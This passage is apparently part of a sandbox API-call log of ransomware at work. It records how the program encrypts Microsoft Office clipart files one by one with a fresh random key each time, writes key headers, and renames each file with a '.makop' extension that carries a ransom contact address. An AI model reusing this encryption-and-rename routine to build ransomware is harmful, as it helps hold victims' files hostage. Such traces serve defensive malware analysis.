(hFile=0xf0) returned 1 [0131.340] GetProcessHeap () returned 0x48a0000 [0131.340] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.340] GetProcessHeap () returned 0x48a0000 [0131.340] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.340] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.340] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.342] CloseHandle (hObject=0xf0) returned 1 [0131.342] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95e02700, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95e02700, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x15f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215718.WMF", cAlternateFileName="")) returned 1 [0131.342] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF") returned 63 [0131.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.343] GetProcessHeap () returned 0x48a0000 [0131.343] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.343] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.343] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.343] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0131.350] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.350] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.350] GetProcessHeap () returned 0x48a0000 [0131.351] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.351] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.351] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.351] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.351] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.351] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.351] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.352] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.352] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.352] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.352] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.352] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.352] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x15f2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x15f2, lpOverlapped=0x0) returned 1 [0131.354] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1600, dwBufLen=0x1600 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1600) returned 1 [0131.354] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.354] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1600, lpOverlapped=0x0) returned 1 [0131.355] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.355] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.355] SetEndOfFile (hFile=0xf0) returned 1 [0131.362] GetProcessHeap () returned 0x48a0000 [0131.362] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.362] GetProcessHeap () returned 0x48a0000 [0131.362] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.362] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.362] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.364] CloseHandle (hObject=0xf0) returned 1 [0131.364] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa783, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216112.JPG", cAlternateFileName="")) returned 1 [0131.364] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG") returned 63 [0131.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.365] GetProcessHeap () returned 0x48a0000 [0131.365] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.365] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.366] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.366] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0131.370] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.370] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.370] GetProcessHeap () returned 0x48a0000 [0131.370] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.370] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.370] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.370] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.371] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.371] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.371] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.371] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.371] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.372] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.372] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.372] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.372] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa783, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa783, lpOverlapped=0x0) returned 1 [0131.373] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa790, dwBufLen=0xa790 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa790) returned 1 [0131.374] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.374] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa790, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa790, lpOverlapped=0x0) returned 1 [0131.375] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.375] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.375] SetEndOfFile (hFile=0xf0) returned 1 [0131.382] GetProcessHeap () returned 0x48a0000 [0131.382] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.382] GetProcessHeap () returned 0x48a0000 [0131.382] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.382] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.384] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.385] CloseHandle (hObject=0xf0) returned 1 [0131.385] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5474, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216153.JPG", cAlternateFileName="")) returned 1 [0131.385] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG") returned 63 [0131.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.390] GetProcessHeap () returned 0x48a0000 [0131.390] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.390] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.390] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.390] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0131.395] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.395] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.395] GetProcessHeap () returned 0x48a0000 [0131.395] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.395] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.395] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.395] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.396] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.396] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.396] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.397] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.397] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.397] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.397] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.397] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.397] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5474, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5474, lpOverlapped=0x0) returned 1 [0131.399] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5480, dwBufLen=0x5480 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5480) returned 1 [0131.399] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.399] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5480, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5480, lpOverlapped=0x0) returned 1 [0131.399] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.399] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.400] SetEndOfFile (hFile=0xf0) returned 1 [0131.407] GetProcessHeap () returned 0x48a0000 [0131.407] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.407] GetProcessHeap () returned 0x48a0000 [0131.407] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.407] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.407] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.409] CloseHandle (hObject=0xf0) returned 1 [0131.410] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa488, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216540.WMF", cAlternateFileName="")) returned 1 [0131.410] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF") returned 63 [0131.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.410] GetProcessHeap () returned 0x48a0000 [0131.410] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.411] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.411] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.411] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.416] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.416] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.416] GetProcessHeap () returned 0x48a0000 [0131.416] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.416] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.416] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.416] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.417] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.417] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.417] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.417] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.417] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.417] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.417] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.418] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.418] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa488, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa488, lpOverlapped=0x0) returned 1 [0131.420] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa490, dwBufLen=0xa490 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa490) returned 1 [0131.420] SetFilePointerEx (in: 